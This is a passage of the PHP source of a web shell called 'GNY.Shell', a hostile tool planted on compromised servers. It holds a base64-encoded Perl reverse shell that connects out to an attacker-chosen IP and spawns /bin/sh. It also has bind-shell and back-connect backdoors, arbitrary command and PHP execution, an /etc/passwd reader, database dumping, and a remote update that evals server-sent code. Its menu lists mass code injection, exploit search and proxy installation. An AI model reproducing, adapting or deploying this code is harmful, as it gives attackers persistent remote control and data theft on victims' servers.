$_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']."."; //if (file_exists("back.c")) { unlink("back.c"); } if (file_exists("backc")) { unlink("backc"); } }else{ chmod('/tmp/backc', 0777); cf("/tmp/backc",$back_connect_c); //$blah = ex("gcc -o /tmp/backc /tmp/back.c"); $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']."."; //if (file_exists("back.c")) { unlink("back.c"); } if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } }}function cf($fname,$text){ $w_file=@fopen($fname,"w") or err(); if($w_file) { @fputs($w_file,@base64_decode($text)); @fclose($w_file); }}function cfb($fname,$text){ $w_file=@fopen($fname,"w") or bberr(); if($w_file) { @fputs($w_file,@base64_decode($text)); @fclose($w_file); }}function err(){$_POST['backcconnmsge']="

<font color=red size=3>Error:</font> Can't connect!";}function bberr(){$_POST['backcconnmsge']="

<font color=red size=3>Error:</font> Can't backdoor host!";}function which($pr){$path = ex("which $pr");if(!empty($path)) { return $path; } else { return $pr; }}function ex($cfe){ $res = ''; if (!empty($cfe)) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res;}//EoW//Start Enumerate function//function ENUMERATE()// $hostname_x=php_uname(n);// $itshome = getcwd();// $itshome = str_replace("/home/","~",$itshome);// $itshome = str_replace("/public_html","/x2300.php",$itshome);// $enumerate = "http://".$hostname_x."/".$itshome."";//End Enumerate function//Starting calls ini_set("max_execution_time",0); if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} error_reporting(5); $adires="";@ignore_user_abort(TRUE); @set_magic_quotes_runtime(0); $win = strtolower(substr(PHP_OS,0,3)) == "win"; define("starttime",getmicrotime()); if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} $_REQUEST = array_merge($_COOKIE,$_GET,$_POST); foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} $shver = "1.3.37"; //Current version //CONFIGURATION AND SETTINGS if (!empty($unset_surl)) {setcookie("GNY_surl"); $surl = "";} elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("GNY_surl",$surl);} else {$surl = $_REQUEST["GNY_surl"]; //Set this cookie for manual SURL } $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. if ($surl_autofill_include and !$_REQUEST["GNY_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} if (empty($surl)) { $surl = "?".$includestr; //Self url } $surl = htmlspecialchars($surl); $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. //Authentication $login = ""; //login //DON'T FORGOT ABOUT PASSWORD!!! $pass = ""; //password $md5_pass = ""; //md5-cryped pass. if null, md5($pass) $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") $login_txt = "Restricted area"; //http-auth message. $accessdeniedmess = 'You cannot access this file directly.<br /><a href="javascript: history.go(-1)">Go Back</a>';$gzipencode = TRUE; //Encode with gzip? $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) $GNY_updateurl = ''; //Update server $GNY_sourcesurl = ''; //Sources-server $filestealth = TRUE; //if TRUE, don't change modify- and access-time $donated_html = ''; /* If you publish free shell and you wish add link to your site or any other information, put here your html. */ $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. $curdir = "./"; //start folder //$curdir = getenv("DOCUMENT_ROOT"); $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) $log_email = "user@host.tld"; //Default e-mail for sending logs $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending $sort_save = TRUE; //If TRUE then save sorting-position using cookies. // Registered file-types. // array( // "{action1}"=>array("ext1","ext2","ext3",...), // "{action2}"=>array("ext4","ext5","ext6",...), // ... // ) $ftypes = array( 'html'=>array('html','htm','shtml'), 'txt'=>array('txt','conf','bat','sh','js','bak','doc','log','sfc','cfg','htaccess','passwd','shadow'), 'exe'=>array('sh','install','bat','cmd'), 'ini'=>array('ini','inf'), 'code'=>array('php','phtml','php3','php4','inc','tcl','h','c','cpp','py','cgi','pl'), 'img'=>array('gif','png','jpeg','jfif','jpg','jpe','bmp','ico','tif','tiff','avi','mpg','mpeg'), 'sdb'=>array('sdb'), 'phpsess'=>array('sess'), 'download'=>array('exe','com','pif','src','lnk','zip','rar','gz','tar'));// Registered executable file-types. // array( // string "command{i}"=>array("ext1","ext2","ext3",...), // ... // ) // {command}: %f% = filename $dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin); if (empty($dizin)) {$dizin = realpath(".");} elseif(realpath($dizin)) {$dizin = realpath($dizin);} $dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin); if (substr($dizin,-1) != DIRECTORY_SEPARATOR) {$dizin .= DIRECTORY_SEPARATOR;} $dizin = str_replace("\\\\","\\",$dizin); $dizinispd = htmlspecialchars($dizin); /*dizin*/ $real = realpath($dizinispd); $path = basename ($PHP_SELF); function dosyayicek($link,$file) { $fp = @fopen($link,'r'); while(!feof($fp)) { $cont.= fread($fp,1024); } fclose($fp); $fp2 = @fopen($file,"w"); fwrite($fp2,$cont); fclose($fp2); } $exeftypes = array( getenv("PHPRC")." -q %f%" => array("php","php3","php4"), "perl %f%" => array("pl","cgi") ); /* Highlighted files. array( i=>array({regexp},{type},{opentag},{closetag},{break}) ... ) string {regexp} - regular exp. int {type}: 0 - files and folders (as default), 1 - files only, 2 - folders only string {opentag} - open html-tag, e.g. "" (default) string {closetag} - close html-tag, e.g. "" (default) bool {break} - if TRUE and found match then break */ $regxp_highlight = array( array(basename($_SERVER["PHP_SELF"]),1,'<font color=red>','</font>'), // example array("config.php",1), // example array("settings.php",1), array("connect.php",1)); $safemode_diskettes = array("a"); // This variable for disabling diskett-errors. // array (i=>{letter} ...); string {letter} - letter of a drive //$safemode_diskettes = range('a','z'); $hexdump_lines = 8;// lines in hex preview file $hexdump_rows = 24;// 16, 24 or 32 bytes in one line $nixpwdperpage = 100; // Get first N lines from /etc/passwd $bindport_pass = 'GNY'; // default password for binding $bindport_port = '31373'; // default port for binding $bc_port = '5992'; // default port for back-connect $datapipe_localport = '8081'; // default port for datapipe $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; $sess_cookie = "GNYvars"; // Cookie-variable name $usefsbuff = TRUE; //Buffer-function $copy_unset = FALSE; //Remove copied files from buffer after pasting //Quick launch $quicklaunch = array( array('[Home]',$surl), array('[Back]','javascript:history.back(1)'), array('[Forward]','javascript:history.go(1)'), array('[Up]',$surl.'act=ls&d=%upd&sort=%sort'), array('[Refresh]',""), array('[Search]',$surl.'act=search&d=%d'), array('[Buffer]',$surl.'act=fsbuff&d=%d'), array('

[String/Hash Tools]',$surl.'act=encoder&d=%d'), array('[Processes]',$surl.'act=processes&d=%d'), array('[Users]',$surl.'act=users'), array('[System Information]',$surl.'act=security&d=%d'), array('[SQL Manager]',$surl.'act=sql&d=%d'), array('[Reverse IP]',$surl.'act=rip'), array('[Kernel Exploit Search]',$surl.'act=exploit'), array('[Execute PHP Code]',$surl.'act=eval&d=%d'), array('[PHP Info]
',$surl.'act=phpinfo&d=%d'));$quicklaunch2 = array( array('
[PHP Tools]',$surl.'act=phptools'), array('[Bind Shell Backdoor]',$surl.'act=shbd'), array('[Back-Connection]',$surl.'act=backc'), array('[Mass Code Injection]',$surl.'act=massbrowsersploit'), array('[Exploits]',$surl.'act=exploits'), array('[cPanel Finder]',$surl.'act=cpanel'), array('[RFI/LFI Finder]',$surl.'act=fi'), array('[Install IP:Port Proxy]',$surl.'act=proxy'), array('[Install PHP Proxy]',$surl.'act=phpproxy'), array('[Suicide Script]
',$surl.'act=selfremove')); //Highlight-code colors $highlight_background = "#c0c0c0"; $highlight_bg = "#FFFFFF"; $highlight_comment = "#6A6A6A"; $highlight_default = "#0000BB"; $highlight_html = "#1300FF"; $highlight_keyword = "#007700"; $highlight_string = "#000000"; @$f = $_REQUEST["f"]; @extract($_REQUEST["GNYcook"]); //END CONFIGURATION // \/Next code isn't for editing\/ /*function ex($cfe) { $res = ''; if (!empty($cfe)) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; }*//*function which($pr) { $path = ex("which $pr"); if(!empty($path)) { return $path; } else { return $pr; } } function cf($fname,$text) { $w_file=@fopen($fname,"w") or err(0); if($w_file) { @fputs($w_file,@base64_decode($text)); @fclose($w_file); } }*/ /*function err($n,$txt='') { echo '<table width=100% cellpadding=0 cellspacing=0><td bgcolor=#000000><font color=red face=Verdana size=-2><div align=center>'; echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; if(!empty($txt)) { echo " $txt"; } echo '</div></font>'; return null; }*/@set_time_limit(0); $tmp = array(); foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} $s = "!^(".implode("|",$tmp).")$!i"; if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit(" Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} if (!empty($login)) { if (empty($md5_pass)) {$md5_pass = md5($pass);} if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) { if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|
"," ",$donated_html));} header("WWW-Authenticate: Basic realm=\"GNY.Shell ".$shver.": ".$login_txt."\""); header("HTTP/1.0 401 Unauthorized"); exit($accessdeniedmess); } } if ($act != "img") { $lastdir = realpath("."); chdir($curdir); if ($selfwrite or $updatenow) {@ob_clean(); sh_getupdate($selfwrite,1); exit;} $sess_data = unserialize($_COOKIE["$sess_cookie"]); if (!is_array($sess_data)) {$sess_data = array();} if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} $disablefunc = @ini_get("disable_functions"); if (!empty($disablefunc)) { $disablefunc = str_replace(" ","",$disablefunc); $disablefunc = explode(",",$disablefunc); } if (!function_exists("buff_prepare")) { function buff_prepare() { global $sess_data; global $act; foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} $sess_data["copy"] = array_unique($sess_data["copy"]); $sess_data["cut"] = array_unique($sess_data["cut"]); sort($sess_data["copy"]); sort($sess_data["cut"]); if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} } } buff_prepare(); if (!function_exists("sess_put")) { function sess_put($data) { global $sess_cookie; global $sess_data; buff_prepare(); $sess_data = $data; $data = serialize($data); setcookie($sess_cookie,$data); } } foreach (array("sort","sql_sort") as $v) { if (!empty($_GET[$v])) {$$v = $_GET[$v];} if (!empty($_POST[$v])) {$$v = $_POST[$v];} } if ($sort_save) { if (!empty($sort)) {setcookie("sort",$sort);} if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} } if (!function_exists("str2mini")) { function str2mini($content,$len) { if (strlen($content) > $len) { $len = ceil($len/2) - 2; return substr($content, 0,$len)."...".substr($content,-$len); } else {return $content;} } } if (!function_exists("view_size")) { function view_size($size) { if (!is_numeric($size)) {return FALSE;} else { if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} else {$size = $size . " B";} return $size; } } } if (!function_exists("fs_copy_dir")) { function fs_copy_dir($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} if (!$ret) {return $ret;} } } closedir($h); return TRUE; } } if (!function_exists("fs_copy_obj")) { function fs_copy_obj($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); if (!is_dir(dirname($t))) {mkdir(dirname($t));} if (is_dir($d)) { if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_copy_dir($d,$t); } elseif (is_file($d)) {return copy($d,$t);} else {return FALSE;} } } if (!function_exists("fs_move_dir")) { function fs_move_dir($d,$t) { $h = opendir($d); if (!is_dir($t)) {mkdir($t);} while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { $ret = TRUE; if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} if (!$ret) {return $ret;} } } closedir($h); return TRUE; } } if (!function_exists("fs_move_obj")) { function fs_move_obj($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); if (is_dir($d)) { if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_move_dir($d,$t); } elseif (is_file($d)) { if(copy($d,$t)) {return unlink($d);} else {unlink($t); return FALSE;} } else {return FALSE;} } } if (!function_exists("fs_rmdir")) { function fs_rmdir($d) { $h = opendir($d); while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.$o)) {unlink($d.$o);} else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} } } closedir($h); rmdir($d); return !is_dir($d); } } if (!function_exists("fs_rmobj")) { function fs_rmobj($o) { $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); if (is_dir($o)) { if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} return fs_rmdir($o); } elseif (is_file($o)) {return unlink(html_entity_decode($o));} else {return FALSE;} } } if (!function_exists("myshellexec")) { function myshellexec($cmd) { global $disablefunc; $result = ""; if (!empty($cmd)) { if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} elseif (($result = `$cmd`) !== FALSE) {} elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} elseif (is_resource($fp = popen($cmd,"r"))) { $result = ""; while(!feof($fp)) {$result .= fread($fp,1024);} pclose($fp); } } return $result; } } if (!function_exists('tabsort')) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} if (!function_exists('view_perms')) { function view_perms($mode) { if (($mode & 0xC000) === 0xC000) {$type = "s";} elseif (($mode & 0x4000) === 0x4000) {$type = "d";} elseif (($mode & 0xA000) === 0xA000) {$type = "l";} elseif (($mode & 0x8000) === 0x8000) {$type = "-";} elseif (($mode & 0x6000) === 0x6000) {$type = "b";} elseif (($mode & 0x2000) === 0x2000) {$type = "c";} elseif (($mode & 0x1000) === 0x1000) {$type = "p";} else {$type = "?";} $owner["read"] = ($mode & 00400)?"r":"-"; $owner["write"] = ($mode & 00200)?"w":"-"; $owner["execute"] = ($mode & 00100)?"x":"-"; $group["read"] = ($mode & 00040)?"r":"-"; $group["write"] = ($mode & 00020)?"w":"-"; $group["execute"] = ($mode & 00010)?"x":"-"; $world["read"] = ($mode & 00004)?"r":"-"; $world["write"] = ($mode & 00002)? "w":"-"; $world["execute"] = ($mode & 00001)?"x":"-"; if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} return $type.join("",$owner).join("",$group).join("",$world); } } if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} if (!function_exists("parse_perms")) { function parse_perms($mode) { if (($mode & 0xC000) === 0xC000) {$t = "s";} elseif (($mode & 0x4000) === 0x4000) {$t = "d";} elseif (($mode & 0xA000) === 0xA000) {$t = "l";} elseif (($mode & 0x8000) === 0x8000) {$t = "-";} elseif (($mode & 0x6000) === 0x6000) {$t = "b";} elseif (($mode & 0x2000) === 0x2000) {$t = "c";} elseif (($mode & 0x1000) === 0x1000) {$t = "p";} else {$t = "?";} $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); } } if (!function_exists("parsesort")) { function parsesort($sort) { $one = intval($sort); $second = substr($sort,-1); if ($second != "d") {$second = "a";} return array($one,$second); } } if (!function_exists("view_perms_color")) { function view_perms_color($o) { if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} else {return "<font color=green>".view_perms(fileperms($o))."</font>";} } } if (!function_exists('getsource')) { function getsource($fn) { global $GNY_sourcesurl; $array = array( "GNY_bindport.pl" => "GNY_bindport_pl.txt", "GNY_bindport.c" => "GNY_bindport_c.txt", "GNY_backconn.pl" => "GNY_backconn_pl.txt", "GNY_backconn.c" => "GNY_backconn_c.txt", "GNY_datapipe.pl" => "GNY_datapipe_pl.txt", "GNY_datapipe.c" => "GNY_datapipe_c.txt", ); $name = $array[$fn]; if ($name) {return file_get_contents($GNY_sourcesurl.$name);} else {return FALSE;} } } if (!function_exists('sh_getupdate')) { function sh_getupdate($update = TRUE) { $url = $GLOBALS["GNY_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; $data = @file_get_contents($url); if (!$data) {return "Can't connect to update-server!";} else { $data = ltrim($data); $string = substr($data,3,ord($data{2})); if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} if ($data{0} == "\x99" and $data{1} == "\x03") { $string = explode("\x01",$string); if ($update) { $confvars = array(); $sourceurl = $string[0]; $source = file_get_contents($sourceurl); if (!$source) {return "Can't fetch update!";} else { $fp = fopen(__FILE__,"w"); if (!$fp) {return "Local error: can't write update to ".__FILE__."!";} else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated successfully.";} } } else {return "New version is available: ".$string[1];} } elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} else {return "Error in protocol: segmentation failed! (".$data.") ";} } } } if (!function_exists("mysql_dump")) { function mysql_dump($set) { global $shver; $sock = $set["sock"]; $db = $set["db"]; $print = $set["print"]; $nl2br = $set["nl2br"]; $file = $set["file"]; $add_drop = $set["add_drop"]; $tabs = $set["tabs"]; $onlytabs = $set["onlytabs"]; $ret = array(); $ret["err"] = array(); if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} if (empty($db)) {$db = "db";} if (empty($print)) {$print = 0;} if (empty($nl2br)) {$nl2br = 0;} if (empty($add_drop)) {$add_drop = TRUE;} if (empty($file)) { $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; } if (!is_array($tabs)) {$tabs = array();} if (empty($add_drop)) {$add_drop = TRUE;} if (sizeof($tabs) == 0) { // retrive tables-list $res = mysql_query("SHOW TABLES FROM ".$db, $sock); if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} } $out = "# MySQL Database Dump - GNY.Shell ## Host settings: # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." # Date: ".date("d.m.Y H:i:s")." # Database: \"".$db."\" #--------------------------------------------------------- "; $c = count($onlytabs); foreach($tabs as $tab) { if ((in_array($tab,$onlytabs)) or (!$c)) { if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} // recieve query for create table structure $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); if (!$res) {$ret["err"][] = mysql_smarterror();} else { $row = mysql_fetch_row($res); $out .= $row["1"].";\n\n"; // recieve table variables $res = mysql_query("SELECT * FROM `$tab`", $sock); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; $out .= $sql; } } } } } $out .= "#---------------------------------------------------------------------------------\n\n"; if ($file) { $fp = fopen($file, "w"); if (!$fp) {$ret["err"][] = 2;} else { fwrite ($fp, $out); fclose ($fp); } } if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} return $out; } } if (!function_exists("mysql_buildwhere")) { function mysql_buildwhere($array,$sep=" and",$functs=array()) { if (!is_array($array)) {$array = array();} $result = ""; foreach($array as $k=>$v) { $value = ""; if (!empty($functs[$k])) {$value .= $functs[$k]."(";} $value .= "'".addslashes($v)."'"; if (!empty($functs[$k])) {$value .= ")";} $result .= "`".$k."` = ".$value.$sep; } $result = substr($result,0,strlen($result)-strlen($sep)); return $result; } } if (!function_exists("mysql_fetch_all")) { function mysql_fetch_all($query,$sock) { if ($sock) {$result = mysql_query($query,$sock);} else {$result = mysql_query($query);} $array = array(); while ($row = mysql_fetch_array($result)) {$array[] = $row;} mysql_free_result($result); return $array; } } if (!function_exists("mysql_smarterror")) { function mysql_smarterror($type,$sock) { if ($sock) {$error = mysql_error($sock);} else {$error = mysql_error();} $error = htmlspecialchars($error); return $error; } } if (!function_exists("mysql_query_form")) { function mysql_query_form() { global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
".$sql_query_error."
";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) { echo "<table border=0>
"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":

<textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea>

<input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\">
"; if ($tbl_struct) { echo "<td valign=\"top\">Fields:
"; foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.GNY_sqlquery.sql_query.value+='`".$name."`';\">".$name."</a>
";} echo ""; } } if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} } } if (!function_exists("mysql_create_db")) { function mysql_create_db($db,$sock="") { $sql = "CREATE DATABASE `".addslashes($db)."`;"; if ($sock) {return mysql_query($sql,$sock);} else {return mysql_query($sql);} } } if (!function_exists("mysql_query_parse")) { function mysql_query_parse($query) { $query = trim($query); $arr = explode (" ",$query); /*array array() { "METHOD"=>array(output_type), "METHOD1"... ... } if output_type == 0, no output, if output_type == 1, no output if no error if output_type == 2, output without control-buttons if output_type == 3, output with control-buttons */ $types = array( "SELECT"=>array(3,1), "SHOW"=>array(2,1), "DELETE"=>array(1), "DROP"=>array(1) ); $result = array(); $op = strtoupper($arr[0]); if (is_array($types[$op])) { $result["propertions"] = $types[$op]; $result["query"] = $query; if ($types[$op] == 2) { foreach($arr as $k=>$v) { if (strtoupper($v) == 'LIMIT') { $result["limit"] = $arr[$k+1]; $result["limit"] = explode(",",$result["limit"]); if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} unset($arr[$k],$arr[$k+1]); } } } } else {return FALSE;} } } if (!function_exists('fsearch')) { function fsearch($d) { global $found; global $found_d; global $found_f; global $search_i_f; global $search_i_d; global $a; if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($f = readdir($h)) !== FALSE) { if($f != "." && $f != "..") { $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); if (is_dir($d.$f)) { $search_i_d++; if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} if (!is_link($d.$f)) {fsearch($d.$f);} } else { $search_i_f++; if ($bool) { if (!empty($a["text"])) { $r = @file_get_contents($d.$f); if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} else {$bool = strpos(" ".$r,$a["text"],1);} if ($a["text_not"]) {$bool = !$bool;} if ($bool) {$found[] = $d.$f; $found_f++;} } else {$found[] = $d.$f; $found_f++;} } } } } closedir($h); } } if ($act == 'gofile') {if (is_dir($f)) {$act = 'ls'; $d = $f;} else 